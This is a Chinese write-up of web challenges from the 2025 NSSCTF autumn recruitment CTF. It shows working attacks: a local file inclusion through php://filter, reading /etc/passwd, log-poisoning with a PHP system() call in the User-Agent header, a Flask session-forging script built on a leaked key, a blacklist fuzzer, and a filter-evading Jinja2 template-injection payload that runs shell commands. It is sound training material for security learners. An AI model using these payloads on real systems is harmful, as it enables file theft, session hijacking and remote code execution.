2025年NSSCTF秋季招新赛(校外赛道)
WEB
SIGN IN!

很简单,根据关卡顺序修改HTTP头部就行了
第一关:
第二关:
第三关:
最后得到flag:
注意,没完成一关要点击检查进度后才能进入下一关,Cookie中的PHPSESSID值不要删掉,不然游戏进度不会增长
ezez_include

file:///etc/passwd

简单的文件包含,测试得到可以使用php伪协议,看一下index.php
php://filter/read=convert.base64-encode/resource=index.php


又测试发现读取不到根目录flag,试一下读取日志,用日志文件包含命令执行,发现还真有
php://filter/read=convert.base64-encode/resource=/var/log/nginx/access.log

User-Agent: <?php system('ls /')?>
读到根目录

User-Agent: <?php system('cat /ffffflalalallalalalalalalalg')?>
读到flag

isAdmin

伪造name=admin后无果

根据题名猜测isAdmin是判断是否为admin的关键,测试一下

得到flag
我是复读机

右键看一下源码发现禁用了右键,那么就在url前面添加view-source:

发现存在robots.txt,访问一下

得到/Up1oAds访问一下

随便输入点内容,然后点击复读按钮后发现跳转到/forbidden2路由并且显示下面的内容

看到/forbidden2路由的源代码,拉到最下面有以下内容

得到key:S4p3r_6arth_1s_Burning 猜测伪造session,抓一下包看看

得到session,用key解一下,还真是伪造

那就伪造一下{"user":"admin"}
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = 'S4p3r_6arth_1s_Burning'
# 创建session序列化器
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(app)
# 创建包含我们想要内容的session
session_data = {"user":"admin"}
session_cookie = serializer.dumps(session_data)
print(f"伪造的session cookie: {session_cookie}")
运行得到session后放上去访问一下

成功复读成功后就开始测试了,毕竟是复读,看看是不是ssti

发现是ssti
这里用不了fenjing,因为还需要输入session,我们可以fuzz一下获得黑名单,然后将黑名单导入到测试题,用用fenjing测试测试题得到payload:
ssti带sessionfuzz.py:
import re
import requests
url = "http://node1.anna.nssctf.cn:28614/render" ###
pattern =r'0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{};\':"|,.<>/?~`,'
session_cookie={"session":'eyJ1c2VyIjoiYWRtaW4ifQ.aQsD1Q.eMM4551G2diLJ-7KuTafHiw6XCo'} ###
blacklist=[]
whitelist=[]
def fuzz(zd):
global blacklist,whitelist
for char in zd:
response = requests.post( ###
url, ###
data={"payload":char}, ###
cookies=session_cookie
)
print(f"Testing character:{char}")
if "检测到非法输入" in response.text: ####
blacklist.append(char)
print(f"Character'{char}'is blacklisted.")
else:
whitelist.append(char)
print(f"Character'{char}'is witelisted.")
fuzz(pattern)
fuzz(['__', 'import','print','next',"cycler" , 'os','mport', 'sys', 'eval', 'subprocess','open','popen', 'system', '\r', '\n','{{1}}','{1}','flag','read','os','builtins','globals','getitem','class','mro','subclasses','()','[]'])
print("\n分类结果:")
print("白名单:",whitelist)
print("黑名单:",blacklist)
结果:
分类结果:
白名单: ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '-', '=', '[', ']', '{', '}', ';', '\\', "'", ':', '"', '|', ',', '<', '>', '/', '?', '~', '`', ',', '__', 'print', 'next', 'cycler', 'sys', 'eval', 'subprocess', 'system', '\r', '\n', '{{1}}', '{1}', 'getitem', 'mro', '()', '[]']
黑名单: ['.', 'import', 'os', 'mport', 'open', 'popen', 'flag', 'read', 'os', 'builtins', 'globals', 'class', 'subclasses']
ssti自定义黑名单测试:
from flask import Flask, request, render_template_string
app = Flask(__name__)
BLACK = ['.', 'import', 'os', 'mport', 'open', 'popen', 'flag', 'read', 'os', 'builtins', 'globals', 'class', 'subclasses']
@app.route('/', methods=['GET'])
def index():
return '<form method=post action=/render><input name=cmd style="width:480px"><button>go</button></form>'
@app.route('/render', methods=['POST'])
def render():
s = request.form.get('cmd', '')
low = s.lower()
if any(x in low for x in BLACK):
return '检测到非法输入'
try:
return render_template_string(s)
except Exception as e:
return f'渲染异常: {e}'
#http://127.0.0.1:5000/render POST cmd
if __name__ == '__main__':
app.run('0.0.0.0', 5000)

得到payload后带入到题目测试得到flag


payload:
{%print%20cycler['next']['__g''lobals__']['__b''uiltins__']['__imp''ort__']('so'[::-1])['po''pen']('cat%20/fl''ag')['r''ead']()%}